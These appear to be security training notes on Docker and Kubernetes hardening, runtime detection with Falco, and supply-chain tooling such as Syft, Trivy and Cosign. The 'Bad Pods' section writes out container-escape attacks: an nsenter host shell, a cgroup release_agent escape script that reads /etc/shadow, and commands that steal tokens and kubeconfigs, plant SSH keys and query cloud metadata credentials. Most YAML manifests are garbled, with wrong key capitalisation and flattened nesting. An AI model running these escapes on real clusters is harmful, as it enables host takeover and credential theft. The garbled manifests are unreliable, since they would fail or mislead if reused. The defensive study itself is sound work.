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# Container, Kubernetes & Supply Chain Security Deep Dive

## Training Session: 2026-03-14
## Source Material: OWASP Docker/K8s Cheat Sheets, K8s Security Docs, Trivy, kube-bench, kube-hunter, kubesec, Falco, Dockle, SLSA, Cosign, Grype, Syft, Kubernetes Goat, BishopFox Pod Privesc, Harbor, imgcrypt
---
## 1. Docker Hardening Controls (OWASP)

### Host & Daemon Security

**Keep host kernel and Docker Engine current.** Container escape CVEs (Leaky Vessels, runc CVE-2024-21626) target outdated runtimes. Patching is the primary mitigation.

**Disable TCP daemon socket.** Never expose `/var/run/docker.sock` to containers. If TCP is required, enforce mutual TLS. Socket mount = root on host.

**Rootless mode.** Run Docker daemon as unprivileged user. Eliminates entire class of privilege escalation from container to host root.

**Logging.** Set daemon log level to `info` minimum in `/etc/docker/daemon.json`. Debug logging exposes sensitive data.

### Container Isolation & Privilege Restriction

**User enforcement chain (defense in depth):**
1. `USER` directive in Dockerfile (build time)
2. `-u` flag at runtime
3. `--userns-remap=default` at daemon level (user namespace remapping)

**Capability restriction pattern:**
```bash
docker run --cap-drop all --cap-add NET_BIND_SERVICE --cap-add CHOWN <image>
```
Never use `--privileged`. It grants ALL capabilities + device access + disables seccomp/AppArmor.

**Prevent privilege escalation:**
```bash
docker run --security-opt=no-new-privileges <image>
```
Blocks setuid/setgid binaries from gaining elevated privileges.

**Resource limits (DoS prevention):**
```bash
docker run --memory=512m --cpus=1.0 --ulimit nofile=1024:2048 \
  --ulimit nproc=256 --restart=on-failure:3 <image>
```

### Filesystem Security

**Read-only root filesystem:**
```bash
docker run --read-only --tmpfs /tmp:rw,noexec,nosuid <image>
```

**Read-only volume mounts:**
```bash
docker run -v /data:/data:ro <image>
```

### Network Security

**Custom networks over default bridge:**
```bash
docker network create --driver bridge isolated_net
docker run --network=isolated_net <image>
```
Default `docker0` bridge allows inter-container communication. Custom networks provide DNS-based service discovery with isolation.

### Image Security

**Dockerfile hardening:**
- Pin base image digests: `FROM python:3.12-slim@sha256:abc123...`
- Pin OS package versions: `apt-get install package=1.2.3-1`
- Use `COPY` not `ADD` (ADD auto-extracts archives, fetches URLs)
- Never curl-pipe-bash in RUN instructions
- Always specify `USER` directive
- Multi-stage builds to minimize attack surface

**Secrets management:**
```bash
# Docker secrets (Swarm mode)
echo "db_password" | docker secret create db_pass -
docker service create --secret db_pass <image>
```
Never bake secrets into images. Use `--secret` flag with BuildKit for build-time secrets.

### Linux Security Modules

**Seccomp:** Restrict syscalls. Default profile blocks ~44 dangerous syscalls (mount, reboot, etc.). Custom profiles for tighter control.

**AppArmor:** Mandatory access controls. Confine file, network, and capability access per container.

**SELinux:** Label-based mandatory access controls. Use `--security-opt label:type:container_t` for custom types.
---
## 2. Kubernetes RBAC

### Architecture

RBAC binds subjects (users, groups, service accounts) to roles (sets of permissions) at namespace or cluster scope.

**Enable RBAC:**
```bash
kube-apiserver --authorization-mode=Node,RBAC
```

### Role Types

| Object | Scope | Binds To |
|--------|-------|----------|
| Role | Namespace | RoleBinding |
| ClusterRole | Cluster-wide | ClusterRoleBinding or RoleBinding |

### Least Privilege Pattern

```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
Namespace: production
Name: pod-reader
rules:
- apiGroups: [""]
Resources: ["pods"]
Verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
Namespace: production
Name: read-pods
subjects:
- kind: ServiceAccount
Name: monitoring-sa
Namespace: production
roleRef:
Kind: Role
Name: pod-reader
ApiGroup: rbac.authorization.k8s.io
```

### RBAC Anti-Patterns (Attack Surface)

- `cluster-admin` binding to default service accounts
- Wildcard verbs (`*`) or resources (`*`) in roles
- `escalate`, `bind`, `impersonate` verbs granted broadly
- `create` on pods/deployments + access to secrets = arbitrary code execution with any SA
- Service account tokens auto-mounted when not needed

### RBAC Hardening

- Disable auto-mount: `automountServiceAccountToken: false` on ServiceAccount and Pod spec
- Use short-lived tokens (TokenRequest API) instead of static SA tokens
- Audit RBAC with `kubectl auth can-i --list --as=system:serviceaccount:ns:sa`
- Never bind `cluster-admin` to application service accounts
- Use `resourceNames` to scope to specific resources when possible
---
## 3. Kubernetes Network Policies

### Default: Allow All

Without NetworkPolicy, all pods can communicate with all other pods across all namespaces. This is the single biggest lateral movement enabler in Kubernetes.

### Deny-All Baseline

```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
Name: default-deny-all
Namespace: production
spec:
PodSelector: {}
PolicyTypes:
  - Ingress
  - Egress
```
Apply this to every namespace first, then open specific paths.

### Allow Specific Traffic

```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
Name: allow-frontend-to-backend
Namespace: production
spec:
PodSelector:
MatchLabels:
App: backend
PolicyTypes:
  - Ingress
Ingress:
  - from:
    - podSelector:
MatchLabels:
App: frontend
Ports:
    - protocol: TCP
Port: 8080
```

### Network Policy Limitations

- Requires a CNI plugin that supports NetworkPolicy (Calico, Cilium, Weave Net -- NOT Flannel)
- No layer 7 filtering (HTTP methods, paths) without service mesh or Cilium
- DNS egress must be explicitly allowed (port 53 to kube-dns)
- No logging of denied connections by default
- `namespaceSelector` can reference any namespace -- label namespaces carefully

### Egress Control Pattern

```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
Name: restrict-egress
Namespace: production
spec:
PodSelector:
MatchLabels:
App: backend
PolicyTypes:
  - Egress
Egress:
  - to:
    - podSelector:
MatchLabels:
App: database
Ports:
    - protocol: TCP
Port: 5432
  - to:  # Allow DNS
    - namespaceSelector: {}
PodSelector:
MatchLabels:
K8s-app: kube-dns
Ports:
    - protocol: UDP
Port: 53
```
---
## 4. Pod Security Admission (PSA)

### Pod Security Standards (Three Levels)

| Level | Description | Key Restrictions |
|-------|-------------|-----------------|
| **Privileged** | Unrestricted | None -- allows everything |
| **Baseline** | Prevents known escalations | No hostNetwork, hostPID, hostIPC, privileged containers, hostPath volumes |
| **Restricted** | Enforces hardening best practices | All of Baseline + must run as non-root, drop ALL capabilities, read-only root FS, seccomp profile required |

### Enforcement Modes

| Mode | Behavior |
|------|----------|
| `enforce` | Rejects non-compliant pods |
| `audit` | Allows but logs violations |
| `warn` | Allows but returns warnings to user |

### Namespace-Level Configuration

```yaml
apiVersion: v1
kind: Namespace
metadata:
Name: production
Labels:
Pod-security.kubernetes.io/enforce: restricted
Pod-security.kubernetes.io/enforce-version: latest
Pod-security.kubernetes.io/audit: restricted
Pod-security.kubernetes.io/warn: restricted
```

### Restricted Security Context (Full Hardening)

```yaml
apiVersion: v1
kind: Pod
metadata:
Name: hardened-pod
spec:
AutomountServiceAccountToken: false
SecurityContext:
RunAsNonRoot: true
RunAsUser: 65534
RunAsGroup: 65534
FsGroup: 65534
SeccompProfile:
Type: RuntimeDefault
Containers:
  - name: app
Image: registry.example.com/app@sha256:abc123
SecurityContext:
AllowPrivilegeEscalation: false
ReadOnlyRootFilesystem: true
Capabilities:
Drop: ["ALL"]
SeccompProfile:
Type: RuntimeDefault
Resources:
Limits:
Memory: "256Mi"
Cpu: "500m"
Requests:
Memory: "128Mi"
Cpu: "250m"
VolumeMounts:
    - name: tmp
MountPath: /tmp
Volumes:
  - name: tmp
EmptyDir:
SizeLimit: 100Mi
```
---
## 5. Container Escape Techniques (BishopFox "Bad Pods")

### Taxonomy of Pod Privilege Escalation

Eight distinct escalation paths based on which security context fields are misconfigured. Each "Bad Pod" represents a different combination of privileges.

### Bad Pod #1: Everything Allowed

**Config:** `privileged: true`, `hostNetwork: true`, `hostPID: true`, `hostIPC: true`, `hostPath: /`

**Attack:**
1. Schedule pod on control-plane node via `nodeName`
2. `chroot /host` to gain host root shell
3. Read etcd secrets directly, harvest SA tokens from kubelet

**Impact:** Full cluster compromise through multiple paths.

### Bad Pod #2: Privileged + HostPID

**Config:** `privileged: true`, `hostPID: true`

**Attack:**
```bash
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
```
Enters host's PID 1 namespace = root shell on node.

**Impact:** Full cluster compromise. Without hostPID, nsenter only enters container process namespaces.

### Bad Pod #3: Privileged Only

**Config:** `privileged: true`

**Attack Path A -- Device Mount:**
```bash
# Find host disk
fdisk -l
# Mount it
mount /dev/sda1 /mnt
# Browse host filesystem
ls /mnt/etc/kubernetes/
```

**Attack Path B -- Cgroup Escape:**
```bash
# Exploit cgroup user mode helper
# undock.sh or similar cgroup release_agent technique
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo $t/cmd > $d/release_agent
echo "#!/bin/sh" > /cmd
echo "cat /etc/shadow > $t/output" >> /cmd
chmod +x /cmd
sh -c "echo 0 > $d/w/cgroup.procs"
sleep 1
cat /output
```

**Impact:** Full cluster compromise.

### Bad Pod #4: HostPath Only

**Config:** `hostPath: {path: /, type: Directory}`

**Attack:**
1. Mount entire host filesystem
2. Search for kubeconfig files: `find /host -name kubeconfig`
3. Extract SA tokens: `find /host -path "*/serviceaccount/token" -exec cat {} \;`
4. Plant SSH keys: `echo $KEY >> /host/root/.ssh/authorized_keys`
5. Read `/host/etc/shadow` for password cracking

**Impact:** Full cluster compromise via credential theft.

### Bad Pod #5: HostPID Only

**Config:** `hostPID: true`

**Attack:**
```bash
# View all host processes and their environment variables
ps auxe | grep -i password
ps auxe | grep -i token
ps auxe | grep -i secret
# Extract credentials from process environments
cat /proc/1/environ | tr '\0' '\n'
```

**Impact:** Credential leakage, DoS via process termination.

### Bad Pod #6: HostNetwork Only

**Config:** `hostNetwork: true`

**Attack:**
```bash
# Sniff traffic on host interfaces
tcpdump -i eth0 -w capture.pcap
# Access localhost-bound services
curl http://localhost:10250/pods  # kubelet API
# Bypass network policies (using host network stack)
```

**Impact:** Traffic interception, access to internal services, NetworkPolicy bypass.

### Bad Pod #7: HostIPC Only

**Config:** `hostIPC: true`

**Attack:**
```bash
# Inspect shared memory
ls -la /dev/shm
ipcs -a
# Read/write shared memory segments from other pods
```

**Impact:** Data access from pods using host IPC namespace.

### Bad Pod #8: Nothing Allowed (Standard Pod)

Even with no special privileges, attack vectors exist:

1. **Cloud metadata service:** `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/`
2. **Overpermissioned default SA:** `kubectl auth can-i --list` from within pod
3. **Anonymous kubelet/API access:** if `anonymous-auth: true`
4. **Kernel/runtime CVEs:** unpatched container escape vulnerabilities
5. **Internal service discovery:** DNS enumeration + service probing through pod network

### Universal Mitigations

- Enforce PSA `restricted` level on all namespaces
- `allowPrivilegeEscalation: false` and `runAsNonRoot: true` everywhere
- Disable SA token auto-mounting: `automountServiceAccountToken: false`
- Block cloud metadata: NetworkPolicy denying egress to 169.254.169.254
- Use admission controllers (OPA Gatekeeper, Kyverno) for custom policy enforcement
- Monitor pod creation with unusual security contexts via audit logging
---
## 6. Kubernetes API Server & etcd Hardening

### API Server Authentication (Recommended)

| Method | Security Level | Notes |
|--------|---------------|-------|
| OIDC with short-lived tokens | Strong | Preferred for human users |
| Managed provider IAM (EKS/GKE/AKS) | Strong | Cloud-native integration |
| X509 client certs | Weak | No revocation mechanism |
| Static token file | Dangerous | Cleartext CSV, no rotation |
| Service account tokens | Workload-only | Never use for human access |

### etcd Security

**etcd write access = cluster root.** Treat etcd as the most critical component.

- Mutual TLS between API server and etcd (client certificates)
- Isolate etcd behind firewall -- only API servers connect
- Implement etcd ACLs restricting read/write to required keyspace
- Encrypt secrets at rest: `EncryptionConfiguration` with aescbc or aesgcm provider
- Separate etcd instances for different clusters

### Critical Ports to Restrict

| Port | Service | Access |
|------|---------|--------|
| 6443 | API Server | Authenticated clients only |
| 2379-2380 | etcd | API server only |
| 10250 | kubelet | API server only |
| 10257 | controller-manager | Localhost only |
| 10259 | scheduler | Localhost only |
| 30000-32767 | NodePort | Restrict per policy |

### Audit Logging

```yaml
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: RequestResponse
Resources:
  - group: ""
Resources: ["secrets", "configmaps"]
- level: Metadata
Resources:
  - group: ""
Resources: ["pods", "services"]
- level: Request
Resources:
  - group: "rbac.authorization.k8s.io"
Resources: ["roles", "rolebindings", "clusterroles", "clusterrolebindings"]
```

Enable with: `kube-apiserver --audit-policy-file=/path/to/policy.yaml --audit-log-path=/var/log/k8s-audit.log`

Monitor for `status: "Forbidden"` responses indicating credential abuse or privilege probing.

### Admission Controllers

- **ImagePolicyWebhook**: Reject images from untrusted registries, unscanned images, disallowed base images
- **Pod Security Admission**: Enforce pod security standards per namespace
- **ValidatingAdmissionPolicy** (K8s 1.28+): CEL-based declarative validation without webhooks
- **OPA Gatekeeper / Kyverno**: Full policy engines for custom admission control
---
## 7. Secrets Management in Kubernetes

### Problem: K8s Secrets Are Base64, Not Encrypted

```bash
kubectl get secret db-creds -o jsonpath='{.data.password}' | base64 -d
```
By default, secrets are stored as plaintext in etcd.

### Hardening Chain

1. **Encrypt at rest:** EncryptionConfiguration with KMS provider
2. **Mount as files, not env vars:** Environment variables leak via process listing, crash dumps, logs
3. **Read-only mounts:** `readOnly: true` on secret volume mounts
4. **External secret managers:** HashiCorp Vault, AWS Secrets Manager, Azure Key Vault with CSI driver
5. **RBAC restriction:** Limit `get/list/watch` on secrets to specific service accounts
6. **Audit logging:** Log all secret access at `Metadata` or `Request` level

```yaml
# Mount secret as read-only file
volumes:
- name: db-creds
Secret:
SecretName: db-credentials
DefaultMode: 0400  # Read-only for owner
containers:
- name: app
VolumeMounts:
  - name: db-creds
MountPath: /etc/secrets
ReadOnly: true
```
---
## 8. Runtime Security with Falco

### Architecture

Falco intercepts system calls at the kernel level using eBPF (or kernel module), enriches events with container/K8s metadata, and evaluates against a rule engine to produce alerts.

### Rule Syntax

```yaml
- rule: Terminal Shell in Container
Desc: Detect a shell spawned in a container with an attached terminal
Condition: >
Spawned_process and container and
Proc.name in (bash, sh, zsh, dash) and
Proc.tty != 0
Output: >
    Shell spawned in container with attached terminal
    (user=%user.name container_id=%container.id container_name=%container.name
Shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline
Terminal=%proc.tty image=%container.image.repository:%container.image.tag)
Priority: WARNING
Tags: [container, shell, mitre_execution, T1059]

- rule: Read Sensitive File in Container
Desc: Detect reading of sensitive files within containers
Condition: >
Open_read and container and
Fd.name in (/etc/shadow, /etc/passwd, /etc/sudoers)
Output: >
    Sensitive file read in container
    (user=%user.name file=%fd.name container=%container.name
Image=%container.image.repository)
Priority: WARNING
Tags: [container, filesystem, mitre_credential_access, T1003]

- rule: Unexpected Outbound Connection
Desc: Detect outbound network connections from containers to unexpected destinations
Condition: >
Outbound and container and
Not fd.sip in (rfc_1918_addresses) and
Not k8s.ns.name in (kube-system, monitoring)
Output: >
    Unexpected outbound connection from container
    (command=%proc.cmdline connection=%fd.name container=%container.name
Namespace=%k8s.ns.name image=%container.image.repository)
Priority: NOTICE
Tags: [network, mitre_exfiltration, T1041]

- rule: Container Drift - New Executable
Desc: Detect execution of binaries not present in original image
Condition: >
Spawned_process and container and
Not proc.exe in (known_binaries) and
Evt.type = execve
Output: >
    New executable detected in container (not in original image)
    (proc=%proc.name exe=%proc.exe container=%container.name
Image=%container.image.repository)
Priority: ERROR
Tags: [container, mitre_persistence, T1554]

- rule: Mount Detected in Container
Desc: Detect mount/umount operations inside containers
Condition: >
Spawned_process and container and
Proc.name in (mount, umount)
Output: >
    Mount operation in container
    (command=%proc.cmdline container=%container.name
Image=%container.image.repository user=%user.name)
Priority: ERROR
Tags: [container, mitre_privilege_escalation, T1611]

- rule: Privileged Container Started
Desc: Detect when a privileged container is started
Condition: >
Container_started and container.privileged = true
Output: >
    Privileged container started
    (container=%container.name image=%container.image.repository
Namespace=%k8s.ns.name)
Priority: CRITICAL
Tags: [container, mitre_privilege_escalation, T1610]
```

### Deployment Options

- **DaemonSet:** Deploy Falco on every node for syscall monitoring
- **Kubernetes Audit Log:** Configure API server to send audit events to Falco for API-level detection
- **Falcosidekick:** Alert routing to Slack, PagerDuty, Elasticsearch, CloudEvents, webhooks

### Output Channels

Syslog, stdout, HTTP endpoints, gRPC services. Integrate with SIEM/SOAR for automated response.

### Detection Capabilities

| Category | Examples |
|----------|---------|
| Shell access | Interactive shells in containers |
| File access | Sensitive file reads (/etc/shadow, /etc/kubernetes) |
| Network | Unexpected outbound connections, DNS tunneling |
| Process | New binaries, unexpected process trees |
| Privilege | Container escape attempts, mount operations, nsenter |
| K8s API | Unauthorized API calls, secret access, RBAC changes |
---
## 9. Supply Chain Security

### 9.1 SBOM Generation with Syft

**Software Bill of Materials** -- inventory of all components in an artifact. Required for vulnerability management and compliance.

```bash
# Generate SBOM from container image
syft alpine:latest -o spdx-json=sbom-spdx.json
syft alpine:latest -o cyclonedx-json=sbom-cdx.json

# Generate from filesystem
syft ./my-project -o syft-json=sbom.json

# Multiple output formats simultaneously
syft <image> -o spdx-json=./spdx.json -o cyclonedx-json=./cdx.json
```

**Supported formats:** CycloneDX (JSON/XML), SPDX (JSON), Syft native JSON.

**Supported ecosystems:** Alpine (apk), Debian (dpkg), RPM, Go modules, Python (pip/poetry), Java (Maven/Gradle), JavaScript (npm/yarn), Ruby (gems), Rust (cargo), PHP (composer), .NET (NuGet).

### 9.2 Vulnerability Scanning with Grype

```bash
# Scan container image
grype alpine:latest

# Scan directory
grype ./my-project

# Scan from SBOM (fastest -- no image pull needed)
grype sbom:./sbom.json

# Scan with severity filtering
grype alpine:latest --only-fixed --fail-on high
```

**Vulnerability prioritization:** EPSS (Exploit Prediction Scoring System), KEV (Known Exploited Vulnerabilities), custom risk scoring. OpenVEX support for filtering false positives.

**Databases:** NVD, GitHub Security Advisories, OS vendor advisories (Alpine, Debian, Ubuntu, RHEL, etc.).

### 9.3 Vulnerability Scanning with Trivy

```bash
# Container image scan
trivy image python:3.4-alpine

# Filesystem scan (vulns + secrets + misconfig)
trivy fs --scanners vuln,secret,misconfig myproject/

# Kubernetes cluster assessment
trivy k8s --report summary cluster

# Generate SBOM
trivy image --format spdx-json -o sbom.json alpine:latest
```

**Scanning capabilities:**
- OS packages and language dependencies (CVEs)
- IaC misconfigurations (Terraform, CloudFormation, Dockerfile, K8s manifests)
- Secret detection (API keys, tokens, passwords in code/images)
- License compliance checking
- SBOM generation (SPDX, CycloneDX)

**CI/CD integration:** GitHub Actions (`aquasecurity/trivy-action`), GitLab CI, Jenkins, CircleCI.

### 9.4 Container Image Linting with Dockle

```bash
# Basic scan
dockle myimage:latest

# JSON output for CI
dockle -f json -o results.json myimage:latest

# Scan saved image
docker save myimage:tag -o image.tar
dockle --input image.tar
```

**Checkpoint categories:**
- CIS Docker Image Checks (11): Base image trust, package management, secrets, user config
- Dockle Checks (6): Sudo usage, sensitive directory mounting, package manager optimization, tagging
- Linux System Checks (3): User/group config, password security, unnecessary files

**Severity levels:** FATAL > WARN > INFO > SKIP > PASS

**Comparison with other tools:**

| Tool | Target | Focus |
|------|--------|-------|
| Dockle | Built images | Security auditing |
| Hadolint | Dockerfiles | Lint validation |
| Docker Bench | Host/daemon | Security audit |
| Trivy/Grype | Images | Vulnerability scanning |

### 9.5 Container Signing with Cosign (Sigstore)

**Keyless signing** (recommended) -- uses OIDC identity + Fulcio CA + Rekor transparency log:

```bash
# Sign a container image (keyless -- prompts for OIDC auth)
cosign sign $IMAGE

# Verify with identity constraints
cosign verify $IMAGE \
  --certificate-identity=user@example.com \
  --certificate-oidc-issuer=https://accounts.google.com

# Verify against a public key
cosign verify --key cosign.pub $IMAGE
```

**Key-based signing:**
```bash
# Generate key pair
cosign generate-key-pair

# Sign with key
cosign sign --key cosign.key $IMAGE

# Verify
cosign verify --key cosign.pub $IMAGE
```

**Attestations (in-toto DSSE):**
```bash
# Create attestation (e.g., SBOM, SLSA provenance)
cosign attest --predicate sbom.json --key cosign.key $IMAGE_DIGEST

# Verify attestation
cosign verify-attestation --key cosign.pub $IMAGE
```

**Blob signing (non-container artifacts):**
```bash
cosign sign-blob artifact.tar.gz --bundle artifact.sigstore.json --yes
cosign verify-blob artifact.tar.gz \
  --bundle artifact.sigstore.json \
  --certificate-identity "identity" \
  --certificate-oidc-issuer "issuer-url"
```

**Air-gapped verification:** Download images + signatures with network, verify offline using stored TUF roots.

**Harbor release verification (real-world example from source):**
```bash
cosign verify-blob \
  --bundle harbor-offline-installer-v2.15.0.tgz.sigstore.json \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  --certificate-identity-regexp '^https://github.com/goharbor/harbor/.github/workflows/publish_release.yml@refs/tags/v.*$' \
Harbor-offline-installer-v2.15.0.tgz
```

### 9.6 SLSA Framework (Supply-chain Levels for Software Artifacts)

Security framework for preventing supply chain tampering. Four build levels with increasing assurance:

| Level | Name | Requirements | Threats Addressed |
|-------|------|-------------|-------------------|
| **Build L0** | No Guarantees | None | None |
| **Build L1** | Provenance Exists | Documented build process, provenance generated and distributed | Release mistakes, lack of transparency |
| **Build L2** | Hosted Build Platform | L1 + hosted/dedicated build infra, digitally signed provenance | Post-build tampering, insider threats with legal exposure |
| **Build L3** | Hardened Builds | L2 + isolation between build runs, signing keys inaccessible to build steps | During-build tampering, compromised credentials, multi-tenant attacks |

**Key concept -- Provenance:** Machine-readable metadata documenting: who built it, what source it came from, what build platform/process was used, and what dependencies were included.

**Three stakeholder concerns:**
- **Producers:** Protection against tampering and insider threats
- **Consumers:** Verification that artifacts are authentic
- **Infrastructure:** Build platform hardening and auditability

**Achieving SLSA L3 in practice:**
1. Use a hosted CI/CD system (GitHub Actions, Google Cloud Build)
2. Generate provenance automatically during build
3. Sign provenance with keyless signing (Sigstore)
4. Verify provenance at deployment (admission controller)

### 9.7 Container Image Encryption (imgcrypt)

From the `imgcrypt` codebase -- a containerd subproject for encrypted container images.

**Architecture:**
- Relies on `ocicrypt` library for cryptographic operations on OCI image layers
- Integrates with containerd via stream processors that decrypt layers on-the-fly
- Supports JWE (JSON Web Encryption), PKCS7, and PKCS11 (hardware tokens) encryption schemes

**Encryption model:**
- Each image layer is individually encrypted
- Media types change to indicate encryption: `application/vnd.oci.image.layer.v1.tar+gzip+encrypted`
- Manifest is rewritten with encrypted layer descriptors
- Encryption annotations carry wrapped keys per recipient
- Multiple recipients supported (each gets their own wrapped copy of the symmetric key)

**Containerd stream processor configuration:**
```toml
[stream_processors."io.containerd.ocicrypt.decoder.v1.tar.gzip"]
Accepts = ["application/vnd.oci.image.layer.v1.tar+gzip+encrypted"]
Returns = "application/vnd.oci.image.layer.v1.tar+gzip"
Path = "/usr/local/bin/ctd-decoder"
```

**Usage workflow:**
```bash
# Generate keys
openssl genrsa -out mykey.pem
openssl rsa -in mykey.pem -pubout -out mypubkey.pem

# Encrypt image
ctr-enc images encrypt --recipient jwe:mypubkey.pem \
  --platform linux/amd64 docker.io/library/bash:latest bash.enc:latest

# Without key -- access denied
ctr-enc run --rm bash.enc:latest test echo 'Hello'
# Error: "you are not authorized to use this image: missing private key needed for decryption"

# With key -- access granted
ctr-enc run --rm --key mykey.pem bash.enc:latest test echo 'Hello'
# Hello
```

**Security properties:**
- Confidentiality: Image layers encrypted at rest and in transit through untrusted registries
- Access control: Only holders of private keys can decrypt and run images
- Key rotation: Re-encrypt with new recipients without re-pulling base content
- Authorization check: `CheckAuthorization()` verifies decryption capability without full decryption (unwrap-only mode)

**Use cases:**
- Multi-tenant registries where image content must be isolated
- Compliance requirements for data-at-rest encryption
- Distributing proprietary images through public/untrusted registries

### 9.8 Harbor Registry -- Scanning & Signing Workflows

Harbor is a CNCF graduated project that integrates scanning, signing, and SBOM management into a container registry.

**Integrated scanning workflow:**
- Built-in Trivy adapter runs as a sidecar service
- Configurable scan triggers: on push, on schedule (nightly cron), manual
- Scans OS packages + language libraries with configurable severity levels
- Results surfaced in UI with CVE details and fix availability
- **Vulnerability allowlisting:** Projects can maintain CVE allowlists (with expiration) to bypass blocking on accepted risks
- Policy enforcement: Block deployment of images above severity threshold

**Harbor Trivy adapter configuration (from source):**
```
SCANNER_TRIVY_VULN_TYPE=os,library
SCANNER_TRIVY_SEVERITY=UNKNOWN,LOW,MEDIUM,HIGH,CRITICAL
SCANNER_TRIVY_IGNORE_UNFIXED=false
SCANNER_TRIVY_SECURITY_CHECKS=vuln
SCANNER_TRIVY_OFFLINE_SCAN=false
```

**Nightly scanning pipeline (from Harbor CI):**
```yaml
# Scans all Harbor component images nightly
strategy:
Matrix:
Versions: [dev, v2.12.0-dev]
Images: [harbor-core, harbor-db, harbor-exporter,
Harbor-jobservice, harbor-log, harbor-portal,
Harbor-registryctl, prepare]
# Uses aquasecurity/trivy-action, outputs SARIF to GitHub Security tab
```

**Signing integration:**
- **Notary (Docker Content Trust):** Legacy signing with trust-on-first-use model
- **Cosign (Sigstore):** Keyless signing with transparency log, preferred for new deployments
- Policy enforcement: Reject unsigned images via admission webhook

**SBOM support:**
- Harbor stores SBOMs as OCI artifacts (media type `application/vnd.goharbor.harbor.sbom.v1`)
- Single-layer manifest per SBOM, associated with parent image artifact
- Processor pulls SBOM layer blob on demand for vulnerability correlation

**Scan controller interface (from source):**
- `Scan()` -- trigger scan for artifact with configurable options
- `ScanAll()` -- bulk scan with async support
- `GetReport()` -- retrieve scan results by mime type
- `GetVulnerable()` -- check artifact against CVE allowlist, returns vulnerability count + severity
- `Stop()` / `StopScanAll()` -- cancel running scans
---
## 10. CIS Kubernetes Benchmark (kube-bench)

### Purpose

Automated checks against CIS Kubernetes Benchmark standards. Validates master node, worker node, etcd, and policy configurations.

### Usage

```bash
# Run as Kubernetes Job
kubectl apply -f job.yaml
kubectl logs <pod-name>

# Platform-specific jobs available for EKS, GKE, AKS

# Run directly
kube-bench run --targets master,node,etcd,policies
```

### Key Check Categories

- **Master node:** API server flags, controller-manager, scheduler configuration
- **Worker node:** kubelet configuration, proxy settings
- **etcd:** Encryption, authentication, peer communication
- **Policies:** RBAC, pod security, network policies, secrets management

**Output:** PASS/FAIL/WARN per check with remediation guidance.

**Modern alternative:** Trivy now includes CIS scanning as both CLI and K8s Operator, providing unified vulnerability + compliance scanning.
---
## 11. Kubernetes Penetration Testing (kube-hunter)

### Capabilities

Attack simulation tool that identifies exploitable vulnerabilities in Kubernetes clusters.

### Scanning Modes

```bash
# Remote scan (from outside the cluster)
kube-hunter --remote some.cluster.com

# Internal scan (on cluster machine)
kube-hunter --interface

# Pod-based scan (deploy as K8s Job for internal perspective)
kubectl create -f ./job.yaml

# Active mode (attempts exploitation)
kube-hunter --active

# CIDR scanning
kube-hunter --cidr 192.168.0.0/24

# Node auto-discovery via K8s API
kube-hunter --k8s-auto-discover-nodes
```

### Detection Categories

| Category | Description |
|----------|-------------|
| Service exposure | Open K8s services and ports |
| Network weaknesses | Misconfigured network policies |
| Authentication gaps | Missing/weak authentication |
| Privilege escalation | Elevation opportunities |
| Container escapes | Pod isolation failures |

### Core Hunter Modules

- **HostDiscovery:** IP range generation
- **PortDiscovery:** Known K8s service port scanning
- **FromPodHostDiscovery:** Subnet discovery from pod context
- **Collector + SendFullReport:** Finding aggregation and reporting
---
## 12. Kubernetes Resource Security Scoring (kubesec)

### Purpose

Static analysis of Kubernetes resource manifests for security misconfigurations.

### Usage

```bash
# CLI scan
kubesec scan deployment.yaml

# Docker
cat deployment.yaml | docker run -i kubesec/kubesec:v2 scan /dev/stdin

# HTTP API
curl -sSX POST --data-binary @deployment.yaml https://v2.kubesec.io/scan

# As kubectl plugin
kubectl kubesec scan -f deployment.yaml
```

### Scoring

- **Negative scores:** Critical security issues (privileged containers, hostPID, etc.)
- **Positive scores:** Security best practices (non-root, read-only rootFS, resource limits)
- Output: JSON with object ID, validity, score, matched rules, and remediation

### Integration Points

- CLI for local development
- HTTP server for microservice deployment
- Admission controller for runtime enforcement
- kubectl plugin for operator workflow
---
## 13. Kubernetes Goat -- Vulnerable Lab Scenarios

Interactive security training platform with 22 scenarios covering real-world K8s attack vectors:

### Attack Scenarios

| # | Scenario | Category | Security Lesson |
|---|----------|----------|----------------|
| 1 | Sensitive Keys in Codebases | Secrets | Credential exposure in images/repos |
| 2 | DIND Exploitation | Runtime | Container runtime abuse |
| 3 | SSRF in Kubernetes | Network | SSRF targeting internal K8s services |
| 4 | Container Escape to Host | Isolation | Breaking container boundaries |
| 5 | Docker CIS Benchmarks | Compliance | Container security standards |
| 6 | Kubernetes CIS Benchmarks | Compliance | Cluster configuration standards |
| 7 | Attacking Private Registry | Supply Chain | Unauthorized registry access |
| 8 | Misconfigured NodePort | Exposure | Unprotected service exposure |
| 10 | Crypto Miner Containers | Workload | Malicious workload detection |
| 11 | Namespace Bypass | Isolation | Namespace isolation weaknesses |
| 12 | Environment Information | Recon | Metadata extraction techniques |
| 13 | DoS Resources | Availability | Resource exhaustion attacks |
| 15 | Hidden in Container Layers | Supply Chain | Vulnerabilities in image layers |
| 16 | RBAC Misconfiguration | Access Control | Authorization bypass via weak policies |
| 17 | KubeAudit | Auditing | Cluster configuration auditing |
| 18 | Falco Runtime Security | Detection | Behavioral monitoring |
| 19 | Popeye Cluster Sanitizer | Hygiene | Security assessment/validation |
| 20 | Network Security Policies | Network | Communication boundary enforcement |
| 21 | Cilium Tetragon eBPF | Detection | Runtime enforcement with eBPF |
| 22 | Kyverno Policy Engine | Policy | Policy-based hardening |
---
## 14. Runtime Sandboxing

### Options Beyond Standard Containers

| Technology | Isolation Level | Mechanism | Syscall Coverage | Use Case |
|------------|----------------|-----------|------------------|----------|
| **gVisor (runsc)** | Strong | User-space kernel | ~70% Linux syscalls via ~20 host syscalls | Multi-tenant workloads |
| **Kata Containers** | Very Strong | Lightweight VMs | Full kernel | Untrusted workloads |
